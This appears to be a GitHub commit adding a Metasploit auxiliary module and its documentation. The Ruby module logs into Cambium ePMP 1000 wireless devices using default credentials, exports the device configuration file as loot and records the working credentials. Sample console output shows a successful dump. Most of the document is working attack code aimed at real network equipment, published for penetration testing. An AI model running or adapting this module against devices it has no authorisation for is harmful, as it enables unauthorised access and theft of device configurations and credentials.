Skip to content

Commit 6d6db2f

Browse files
juushyajuushya
committed
Add epmp1000 dump config module
1 parent 2ff170a commit 6d6db2f

File tree

2 files changed

+235
-0
lines changed

2 files changed

+235
-0
lines changed

‎documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/http/epmp1000_dump_config```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set RPORT [PORT]```
8+
4. Do: ```run```
9+
10+
## Sample Output
11+
12+
```
13+
msf > use auxiliary/scanner/http/epmp1000_dump_config
14+
msf auxiliary(binom3_login_config_pass_dump) > set rhosts 1.3.3.7
15+
msf auxiliary(binom3_login_config_pass_dump) > set rport 80
16+
msf auxiliary(binom3_login_config_pass_dump) > run
17+
18+
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 3.2...
19+
[*] 1.3.3.7:80 - Attempting to login...
20+
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
21+
[+] ++++++++++++++++++++++++++++++++++++++
22+
[+] 1.3.3.7 - dumping configuration
23+
[+] ++++++++++++++++++++++++++++++++++++++
24+
[+] 1.3.3.7:80 - File retrieved successfully!
25+
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_config_216595.txt
26+
[*] Scanned 1 of 1 hosts (100% complete)
27+
[*] Auxiliary module execution completed
28+
29+
30+
```

‎modules/auxiliary/scanner/http/epmp1000_dump_config.rb

Lines changed: 205 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,205 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::AuthBrute
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Cambium ePMP 1000 Dump Device Config',
17+
'Description' => %{
18+
This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
19+
},
20+
'References' =>
21+
[
22+
['URL', 'http://ipositivesecurity.blogspot.in/2015/11/cambium-epmp-1000-multiple.html']
23+
],
24+
'Author' =>
25+
[
26+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
27+
],
28+
'License' => MSF_LICENSE,
29+
'DefaultOptions' => { 'VERBOSE' => true })
30+
)
31+
32+
register_options(
33+
[
34+
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
35+
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
36+
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
37+
], self.class
38+
)
39+
end
40+
41+
def run_host(ip)
42+
unless is_app_epmp1000?
43+
return
44+
end
45+
46+
each_user_pass do |user, pass|
47+
do_login(user, pass)
48+
end
49+
end
50+
51+
def report_cred(opts)
52+
service_data = {
53+
address: opts[:ip],
54+
port: opts[:port],
55+
service_name: opts[:service_name],
56+
protocol: 'tcp',
57+
workspace_id: myworkspace_id
58+
}
59+
60+
credential_data = {
61+
origin_type: :service,
62+
module_fullname: fullname,
63+
username: opts[:user],
64+
private_data: opts[:password],
65+
private_type: :password
66+
}.merge(service_data)
67+
68+
login_data = {
69+
last_attempted_at: Time.now,
70+
core: create_credential(credential_data),
71+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
72+
proof: opts[:proof]
73+
}.merge(service_data)
74+
75+
create_credential_login(login_data)
76+
end
77+
78+
#
79+
# Check if App is Cambium ePMP 1000
80+
#
81+
82+
def is_app_epmp1000?
83+
begin
84+
res = send_request_cgi(
85+
{
86+
'uri' => '/',
87+
'method' => 'GET'
88+
}
89+
)
90+
91+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
92+
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
93+
return false
94+
end
95+
96+
if (res && res.code == 200 && res.headers['Server'] && (res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com')))
97+
98+
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
99+
epmp_ver = get_epmp_ver[1]
100+
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
101+
return true
102+
else
103+
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
104+
return false
105+
end
106+
end
107+
108+
#
109+
# Login and dump config file
110+
#
111+
112+
def do_login(user, pass)
113+
print_status("#{rhost}:#{rport} - Attempting to login...")
114+
begin
115+
res = send_request_cgi(
116+
{
117+
'uri' => '/cgi-bin/luci',
118+
'method' => 'POST',
119+
'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Accept' => 'application/json, text/javascript, */*; q=0.01' },
120+
'vars_post' =>
121+
{
122+
'username' => 'dashboard',
123+
'password' => ''
124+
}
125+
}
126+
)
127+
128+
if (res && res.code == 200 && res.headers.include?('Set-Cookie') && res.headers['Set-Cookie'].include?('sysauth'))
129+
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
130+
131+
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
132+
133+
res = send_request_cgi(
134+
{
135+
'uri' => '/cgi-bin/luci',
136+
'method' => 'POST',
137+
'cookie' => cookie1,
138+
'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Accept' => 'application/json, text/javascript, */*; q=0.01', 'Connection' => 'close' },
139+
'vars_post' =>
140+
{
141+
'username' => user,
142+
'password' => pass
143+
}
144+
}
145+
)
146+
147+
end
148+
149+
if (res && res.code == 200 && res.headers.include?('Set-Cookie') && res.headers['Set-Cookie'].include?('stok='))
150+
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
151+
152+
report_cred(
153+
ip: rhost,
154+
port: rport,
155+
service_name: 'Cambium ePMP 1000',
156+
user: user,
157+
password: pass
158+
)
159+
160+
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
161+
stok_value = get_stok[1]
162+
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
163+
164+
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
165+
166+
config_uri = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/config_export?opts=json'
167+
168+
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie2, 'headers' => { 'Accept' => '*/*', 'Accept-Language' => 'en-US,en;q=0.5', 'Accept-Encoding' => 'gzip, deflate', 'X-Requested-With' => 'XMLHttpRequest', 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', 'Connection' => 'close' } }, 25)
169+
170+
if res && res.code == 200 && res.body =~ /device_props/
171+
print_good('++++++++++++++++++++++++++++++++++++++')
172+
print_good("#{rhost} - dumping configuration")
173+
print_good('++++++++++++++++++++++++++++++++++++++')
174+
print_good("#{rhost}:#{rport} - File retrieved successfully!")
175+
176+
path = store_loot('ePMP_config', 'text/plain', rhost, res.body, rport, 'Cambium ePMP 1000 device config')
177+
print_status("#{rhost}:#{rport} - File saved in: #{path}")
178+
179+
# Extract ePMP version
180+
res = send_request_cgi(
181+
{
182+
'uri' => '/',
183+
'method' => 'GET'
184+
}
185+
)
186+
187+
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
188+
189+
report_cred(
190+
ip: rhost,
191+
port: rport,
192+
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
193+
user: user,
194+
password: pass
195+
)
196+
else
197+
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
198+
return
199+
end
200+
else
201+
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
202+
end
203+
end
204+
end
205+
end

0 commit comments

Comments
 (0)